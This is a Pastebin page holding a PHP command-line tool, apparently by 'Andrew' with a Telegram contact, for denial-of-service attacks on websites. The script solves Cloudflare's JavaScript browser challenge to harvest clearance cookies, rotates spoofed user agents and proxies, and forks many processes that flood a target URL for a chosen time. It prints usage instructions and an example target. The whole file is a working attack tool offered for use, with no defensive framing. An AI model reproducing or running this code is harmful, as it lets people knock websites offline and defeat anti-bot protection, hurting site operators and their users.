KhaosBringer

cfbypass2.php

Nov 25th, 2018
878
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.34 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ERROR);
  3. //color class just to make it nice [not mine]
  4. class Colors {
  5.     private $foreground_colors = array();
  6.     private $background_colors = array();
  7.  
  8.     public function __construct() {
  9.         $this->foreground_colors['black'] = '0;30';
  10.         $this->foreground_colors['dark_gray'] = '1;30';
  11.         $this->foreground_colors['blue'] = '0;34';
  12.         $this->foreground_colors['light_blue'] = '1;34';
  13.         $this->foreground_colors['green'] = '0;32';
  14.         $this->foreground_colors['light_green'] = '1;32';
  15.         $this->foreground_colors['cyan'] = '0;36';
  16.         $this->foreground_colors['light_cyan'] = '1;36';
  17.         $this->foreground_colors['red'] = '0;31';
  18.         $this->foreground_colors['light_red'] = '1;31';
  19.         $this->foreground_colors['purple'] = '0;35';
  20.         $this->foreground_colors['light_purple'] = '1;35';
  21.         $this->foreground_colors['brown'] = '0;33';
  22.         $this->foreground_colors['yellow'] = '1;33';
  23.         $this->foreground_colors['light_gray'] = '0;37';
  24.         $this->foreground_colors['white'] = '1;37';
  25.  
  26.         $this->background_colors['black'] = '40';
  27.         $this->background_colors['red'] = '41';
  28.         $this->background_colors['green'] = '42';
  29.         $this->background_colors['yellow'] = '43';
  30.         $this->background_colors['blue'] = '44';
  31.         $this->background_colors['magenta'] = '45';
  32.         $this->background_colors['cyan'] = '46';
  33.         $this->background_colors['light_gray'] = '47';
  34.     }
  35.  
  36.     public function getColoredString($string, $foreground_color = null, $background_color = null) {
  37.         $colored_string = "";
  38.  
  39.         if (isset($this->foreground_colors[$foreground_color])) {
  40.             $colored_string .= "\033[" . $this->foreground_colors[$foreground_color] . "m";
  41.         }
  42.         if (isset($this->background_colors[$background_color])) {
  43.             $colored_string .= "\033[" . $this->background_colors[$background_color] . "m";
  44.         }
  45.  
  46.         $colored_string .=  $string . "\033[0m";
  47.  
  48.         return $colored_string;
  49.     }
  50.  
  51.     public function getForegroundColors() {
  52.         return array_keys($this->foreground_colors);
  53.     }
  54.  
  55.     public function getBackgroundColors() {
  56.         return array_keys($this->background_colors);
  57.     }
  58. }
  59. $colors = new Colors();
  60.  
  61.  
  62. $temp_name = time() . "_" . rand(1000, 9999);
  63. //user agents
  64. $uas =       ["Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
  65.               "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
  66.               "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  67.               "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
  68.               "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
  69.               "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
  70.               "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
  71.               "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
  72.               "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0",
  73.               "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3",
  74.               "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  75.               "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0",
  76.               "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))",
  77.               "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  78.               "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)",
  79.               "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)",
  80.               "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00",
  81.               "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
  82.               "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14",
  83.               "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14",
  84.               "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
  85.               "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
  86.               "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00",
  87.               "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
  88.               "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)",
  89.               "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)",
  90.               "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+",
  91.               "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  92.               "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+",
  93.               "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+",
  94.               "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7",
  95.               "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5",
  96.               "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
  97.               "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  98.               "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
  99.               "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
  100.               "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",];
  101.  
  102.               //cf class
  103. class CFBypass {
  104.     private $html;
  105.     private $url;
  106.  
  107.  
  108.     function __construct($url, $html) {
  109.         $this->url = parse_url($url);
  110.         $this->html = $html;
  111.     }
  112.     //get how many time it has to wait
  113.     function getTimeout() {
  114.         if(preg_match('/}, (\d+)\);/', $this->html, $matches) !== 1)
  115.             return false;
  116.         return $matches[1];
  117.     }
  118.  
  119.     //solve the challenge
  120.     function sJrs() {
  121.         if(!$this->isok())
  122.             return false;
  123.        
  124.                 $query = [];
  125.        
  126.                 if(preg_match('/name="jschl_vc" value="([^"]+)"/', $this->html, $matches) !== 1)
  127.             return false;
  128.         $query['jschl_vc'] = $matches[1];
  129.         if(preg_match('/name="pass" value="([^"]+)"/', $this->html, $matches) !== 1)
  130.             return false;
  131.         $query['pass'] = $matches[1];
  132.        
  133.                 $query['jschl_answer'] = $this->sJc();
  134.         return $query['jschl_answer']
  135.              ? $this->url['scheme'] . '://' . $this->url['host'] . '/cdn-cgi/l/chk_jschl?' . http_build_query($query)
  136.              : false;
  137.     }
  138.     //check if the cookies are ok
  139.     function isok() {
  140.                 return strpos($this->html, '/cdn-cgi/l/chk_jschl') !== false
  141.             && strpos($this->html, 'challenge-form') !== false
  142.             && strpos($this->html, 'jschl_vc') !== false
  143.             && strpos($this->html, 'jschl_answer') !== false;
  144.     }
  145.  
  146.     function sJc() {
  147.                 if(preg_match('/{"\w+":([^}]+)};/', $this->html, $matches) !== 1)
  148.             return false;
  149.         $challenge = self::dJs($matches[1]);
  150.  
  151.                 if(preg_match_all('/([+\-*])=([^;]+);/', $this->html, $matches, PREG_SET_ORDER) == 0)
  152.             return false;
  153.  
  154.         foreach($matches as $match) {
  155.                         $op = $match[1];
  156.             $number = self::dJs($match[2]);
  157.             if(!self::mathExec($challenge, $number, $op))
  158.                 return false;
  159.         }
  160.  
  161.                 return $challenge + strlen($this->url['host']);
  162.     }
  163.  
  164.     private static function dJs($jsInt) {
  165.         if(preg_match('/^\+\(\(?([^);]+)\)\+\(([^);]+)\)\)$/', $jsInt, $matches) === 1) {
  166.                         return self::dJs($matches[1])*10 + self::dJs($matches[2]);
  167.         } else {
  168.                         return substr_count($jsInt, '!![]') + substr_count($jsInt, '!+[]');
  169.         }
  170.     }
  171.  
  172.     private static function mathExec(&$a, $b, $op) {
  173.                 switch($op) {
  174.             case '+': $a += $b; return true;
  175.             case '-': $a -= $b; return true;
  176.             case '*': $a *= $b; return true;
  177.             case '/': $a /= $b; return true;
  178.             case '%': $a %= $b; return true;
  179.         }
  180.         return false;
  181.     }
  182.    
  183.  
  184.  
  185.  
  186. }
  187. $host = $argv[1]; //website target
  188. $proxy = $argv[5]; // proxy file (optional)
  189. $cookies_c = 0;
  190. $threads_in = $argv[2];// how many threads
  191. $whandlers = $argv[4]; // how many cookies to generate (if proxies are set, the number of cookies will be the same of the proxies)
  192. //max timeout for the proxy validation
  193. $timeout = 2;
  194. if($proxy != null){
  195.     $proxies = explode("\n", file_get_contents($proxy));
  196.     $whandlers = max(array_keys($proxies));
  197. }
  198.     echo $colors->getColoredString("Made By Andrew\nTelegram: https://t.me/Vaiiry\n", "light_red", null) . "\n";
  199.  
  200. if(!isset($argv[1]) || !isset($argv[2]) || !isset($argv[3]) || !isset($argv[4])){
  201.     echo $colors->getColoredString("Usage: php " . $argv[0] . " [URL] [THREADS] [SECONDS] [CLIENTS_NUMBER] [PROXY_FILE]", "light_green", null) . "\n";
  202.     echo $colors->getColoredString("Example: php " . $argv[0] . " http://blunter.xyz/ 800 60 20 proxies.txt", "light_green", null) . "\n";
  203.     die();
  204. }
  205.     echo $colors->getColoredString("Warning: Using proxies the attack can be slower!", "yellow", "black") . "\n";
  206.  
  207. function Delete($path)
  208. {
  209.     if (is_dir($path) === true)
  210.     {
  211.         $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST);
  212.  
  213.         foreach ($files as $file)
  214.         {
  215.             if (in_array($file->getBasename(), array('.', '..')) !== true)
  216.             {
  217.                 if ($file->isDir() === true)
  218.                 {
  219.                     rmdir($file->getPathName());
  220.                 }
  221.  
  222.                 else if (($file->isFile() === true) || ($file->isLink() === true))
  223.                 {
  224.                     unlink($file->getPathname());
  225.                 }
  226.             }
  227.         }
  228.  
  229.         return rmdir($path);
  230.     }
  231.  
  232.     else if ((is_file($path) === true) || (is_link($path) === true))
  233.     {
  234.         return unlink($path);
  235.     }
  236.  
  237.     return false;
  238. }
  239. //get a session with given useragent proxy ready and returns the cookies
  240. function prepare($url, $ua, $proxy, $pid){
  241.     global $timeout;
  242.     global $colors;
  243.     global $argv;
  244.     if($argv[5] != null){
  245.         if($proxy == ""){
  246.             return null;
  247.         }
  248.     }
  249.     $ch = curl_init();
  250.     curl_setopt($ch, CURLOPT_URL, $url);
  251.     curl_setopt($ch, CURLOPT_USERAGENT, $ua);
  252.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  253.     curl_setopt($ch, CURLOPT_HEADER, 1);
  254.     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  255.     curl_setopt($ch, CURLOPT_PROXY, $proxy);
  256.     $result = curl_exec($ch);
  257.     if(strpos($result, 'Checking your browser before accessing') === false && $result !== false){
  258.         if($proxy != NULL){
  259.             $proxy_text = " | PROXY: $proxy";
  260.         }
  261.         var_dump($result);
  262.         echo $colors->getColoredString('Initializing Cookies #' .  $pid . $proxy_text .  "\n", "light_red", null) . "\n";
  263.         preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
  264.         $cookiess = array('nothing' => 'nada');
  265.         return $cookiess;
  266.     }
  267.    
  268.     $cf = new CFBypass($url, $result);
  269.  
  270.     if($cf->isok()) {
  271.         if($proxy != NULL){
  272.             $proxy_text = " | PROXY: $proxy";
  273.         }
  274.         echo $colors->getColoredString('Initializing Cookies #' .  $pid . $proxy_text .  "\n", "light_red", null) . "\n";
  275.         usleep($cf->getTimeout() * 1000);
  276.         curl_setopt($ch, CURLOPT_URL, $cf->sJrs());
  277.         $result = curl_exec($ch);
  278.         preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
  279.         $cookies = array();
  280.         foreach($matches[1] as $item) {
  281.             parse_str($item, $cookie);
  282.             $cookies = array_merge($cookies, $cookie);
  283.         }
  284.        
  285.        
  286.     }
  287.     curl_close($ch);
  288.     return $cookies;   
  289. }
  290.  
  291.  
  292.  
  293.  
  294. //the attack function
  295. function attack($host, $threads, $end){
  296.     global $argv;
  297.     $end = time() + $argv[3];
  298.     global $handlers;
  299.  
  300.     for($i = 0; $i < $threads; $i ++){
  301.         $pid = pcntl_fork();
  302.         if($pid == -1) {
  303.             echo "Something went wrongs.\n";
  304.             exit();
  305.         } elseif($pid) {
  306.             continue;
  307.         } else {
  308.             while($end > time()) {
  309.                 $flood = curl_init();
  310.                 $handler = $handlers[array_rand($handlers)];
  311.                 $cookies = $handler['cookies'];
  312.                 $ua = $handler['ua'];
  313.                 $cfduid = $cookies['__cfduid'];
  314.                 $clear = $cookies["cf_clearance"];
  315.                 $cstr = "__cfduid=$cfduid; cf_clearance=$clear;";
  316.                 $proxy = $handler['proxy'];
  317.                 //echo "IM USING $proxy\n";
  318.                 curl_setopt($flood, CURLOPT_URL, $host);
  319.                 curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
  320.                 curl_setopt($flood, CURLOPT_USERAGENT, $ua);
  321.                 curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
  322.                 curl_setopt($flood, CURLOPT_PROXY, $proxy);
  323.                 curl_setopt($flood, CURLOPT_COOKIE, $cstr);
  324.                 $var123 = curl_exec($flood);
  325.                 curl_close($flood);
  326.             }
  327.             die();
  328.         }
  329.     }
  330.     for($j = 0; $j < $threads; $j++) {
  331.         $pid = pcntl_wait($status);
  332.     }
  333.    
  334. }
  335.  
  336. //save the handler to file to read it later bc the subprocess cant read the same variables
  337. function writeHandler($handler){
  338.     global $temp_name;
  339.     if(!file_exists($temp_name)){
  340.         mkdir($temp_name);
  341.     }
  342.     $json = json_encode($handler);
  343.     $hash = md5($json);
  344.     $fo = fopen($temp_name . "/" . $hash . ".handler", "w");
  345.     fwrite($fo, $json);
  346.     fclose($fo);
  347. }
  348. //read them
  349. function readHandlers(){
  350.     global $temp_name;
  351.     if(!file_exists($temp_name)){
  352.         return NULL;
  353.     }
  354.     $handlers = scandir($temp_name . "/");
  355.     foreach($handlers as $handler)
  356.     {
  357.         if(is_file($temp_name . "/" .$handler)){
  358.             $handlers_array[] = json_decode(file_get_contents($temp_name . "/" .$handler), true);
  359.         }
  360.     }
  361.     return $handlers_array;
  362. }
  363. //initialize
  364. for ($i = 1; $i <= $whandlers; ++$i) {
  365.     $pid = pcntl_fork();
  366.     $ua = $uas[array_rand($uas)];
  367.     if (!$pid) {
  368.         $cookies =  prepare($host, $ua, $proxies[$i], $i);
  369.         if($cookies != NULL){
  370.             $handler = array('cookies' => $cookies, 'ua' => $ua, 'proxy' => $proxies[$i]); 
  371.             //var_dump($cookies);
  372.             writeHandler($handler);
  373.         }
  374.         exit($i);
  375.     }
  376. }
  377. //wait all process getting ready
  378. while (pcntl_waitpid(0, $status) != -1) {
  379.     $status = pcntl_wexitstatus($status);
  380. }
  381.  
  382. $handlers = readHandlers();
  383. Delete($temp_name . "/");
  384. //var_dump($handlers);
  385. //start the attack
  386. echo $colors->getColoredString("Attack started!", "light_green", null) . "\n";
  387. attack($host, $threads_in);
  388. ?>
Add Comment
Please, Sign In to add comment